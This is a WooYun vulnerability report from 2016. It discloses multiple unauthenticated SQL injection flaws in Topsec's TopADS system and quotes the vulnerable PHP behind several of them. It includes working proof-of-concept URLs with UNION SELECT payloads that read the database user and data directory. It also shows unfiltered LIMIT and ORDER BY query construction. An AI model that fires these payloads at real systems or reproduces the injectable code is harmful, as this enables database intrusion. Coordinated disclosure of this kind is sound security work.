当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0179753

漏洞标题:天融信TopADS系统数多处SQL注入漏洞(无需登录)

相关厂商:天融信

漏洞作者: 老虎皮

提交时间:2016-03-01 11:43

修复时间:2016-05-30 14:10

公开时间:2016-05-30 14:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-01: 细节已通知厂商并且等待厂商处理中
2016-03-01: 厂商已经确认,细节仅向厂商公开
2016-03-04: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-25: 细节向核心白帽子及相关领域专家公开
2016-05-05: 细节向普通白帽子公开
2016-05-15: 细节向实习白帽子公开
2016-05-30: 细节向公众公开

简要描述:

厂商不给20分,我就一直挖下去,来个专辑

详细说明:

接上一枚漏洞:
http://**.**.**.**/bugs/wooyun-2016-0178904

3.png


入口文件:Ngtos.class.php

public function run() {
$module = trim($_REQUEST['module']) ? trim($_REQUEST['module']) : 'login';
$action = trim($_REQUEST['action']) ? trim($_REQUEST['action']) : '';
if ($module == 'home' || $module == 'main' || $module == 'login' || $module == 'logout' || $module == 'password') {
$action = $module;
$module = 'page_frame';
}
if ($offset = @strpos($module, '_')) {
$folder = substr($module, 0, $offset);
$file = substr($module, $offset + 1);
$filename = ROOTPATH . '/modules/' . $folder . '/' . $file . '.mds.php';
if (!file_exists($filename)) {
$filename = ROOTPATH . '/modules/' . $folder . '/' . $file . '.php';
}
} else {
$filename = ROOTPATH . '/modules/' . $module . '.mds.php';
if (!file_exists($filename)) {
$filename = ROOTPATH . '/modules/' . $module . '.php';
}
}
if (!file_exists($filename)) {
die('Not Found');
}
require_once $filename;
}


在ads/policy.mds.php中

switch ($_GET['sub_act']) {
case 'show':
$sql = "select templet_name from standard_templet where templet_name != '".urldecode($_GET['t_name'])."'";
$data = $db->select($sql);
$array_data = array("group" => $data);
$json_data = json_encode($array_data);
echo $json_data;
break;
case 'import':
$param_copy['name'] = urldecode($_GET['tmp_name']);
$param_copy['copy-from'] = urldecode($_GET['src']);
$rspString = getResponse($module_name, "add", $param_copy, 2);
if (is_string($rspString)) {
$retError = showError($rspString);
echo $retError;
exit();
}
break;


这里的$_GET['t_name'] 参数经过解码进入SQL
所以我们这里可以直接带入单引号(url编码)然后解码就是单引号了
所以我们**.**.**.**/index.php?module=ads_policy&action=database&sub_act=show&t_name=1 其中t_name为参数
我们演示如下:
**.**.**.**/index.php?module=ads_policy&action=database&sub_act=show&t_name=111%27+union+select+user%28%29--+a

1.png


**.**.**.**/index.php?module=ads_policy&action=database&sub_act=show&t_name=111%27+union+select+@@datadir--+a

2.png


在第二处 ads/ads_policy_template.mds.php

<?php
$module_name = 'ddos template';
$action = $_GET['action'];
$param = [];
switch ($action) {
case 'show_database_policy_template':
$db = ads_database('TopADS');
$sql = "select * from standard_templet";
$data = $db->select($sql);
$total_num = count($data);
if (!isSet($_POST['page'])) {
$array_data = array("group" => $data);
$json_data = json_encode($array_data);
echo $json_data;
return;
}
$start = ($_POST['page']-1)*$_POST['group'];
$sql = "select * from standard_templet order by id asc limit ".$start.", ".$_POST['group'];
$data = $db->select($sql);
$cur_num = count($data);
if ($data == NULL) {
echo '{"group":[], "page":{"page":"1","count":"0","total":"0"}}';
} else {
if ($total_num == null) {
$total_num = 0;
}
$pagenation = array("page" => $_POST["page"], "count" => $cur_num, "total" => $total_num);
$array_data = array("group" => $data, "page" => $pagenation);
$json_data = json_encode($array_data);
echo $json_data;
}
break;
default:
# code...
break;


$sql = "select * from standard_templet order by id asc limit ".$start.", ".$_POST['group'];


limit注入
第三处:ads/ads_menace_monitor_sql.php

if ($post_submit_action != NULL) {
$db = ads_database();
$action = explode("_", $post_submit_action);
if ($action[1] == "showatklog") {
$sql_where = make_where($_POST);
$sql = "SELECT * FROM atk_log WHERE $sql_where AND atk_state = 'begin' ORDER BY ".$_POST["sort"]." ".$_POST["order"]." LIMIT ".(($_POST["page"]-1)*$_POST["group"]).",".$_POST["group"];
$sql_count = "SELECT count(*) as count FROM atk_log WHERE $sql_where AND atk_state = 'begin'";
$count = $db->select($sql_count);
if ($count[0]['count'] == null)
{
$count[0]['count'] = 0;
}


$sql = "SELECT * FROM atk_log WHERE $sql_where AND atk_state = 'begin' ORDER BY ".$_POST["sort"]." ".$_POST["order"]." LIMIT ".(($_POST["page"]-1)*$_POST["group"]).",".$_POST["group"];


无过滤,order by 注入
ads/ads_db_operate.php

if ($post_submit_action == "db_templet_show")
{
$sql = "select * from standard_templet";
$data = $db->select($sql);
$total_num = count($data);
if (!isSet($_POST['page']))
{
$array_data = array("group" => $data);
$json_data = json_encode($array_data);
echo $json_data;
return;
}
$start = ($_POST['page']-1)*$_POST['group'];
$sql = "select * from standard_templet order by templet_type asc limit ".$start.", ".$_POST['group'];
$data = $db->select($sql);
$cur_num = count($data);
if($data == NULL)
{
echo '{"group":[], "page":{"page":"1","count":"0","total":"0"}}';
}


我们演示如下:
**.**.**.**/index.php?module=ads_policy&action=database&sub_act=show&t_name=111%27+union+select+user%28%29--+a

1.png


**.**.**.**/index.php?module=ads_policy&action=database&sub_act=show&t_name=111%27+union+select+@@datadir--+a

2.png


漏洞证明:

我们演示如下:
**.**.**.**/index.php?module=ads_policy&action=database&sub_act=show&t_name=111%27+union+select+user%28%29--+a

1.png


**.**.**.**/index.php?module=ads_policy&action=database&sub_act=show&t_name=111%27+union+select+@@datadir--+a

2.png

修复方案:

版权声明:转载请注明来源 老虎皮@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2016-03-01 14:04

厂商回复:

已确认,谢谢提交

最新状态:

暂无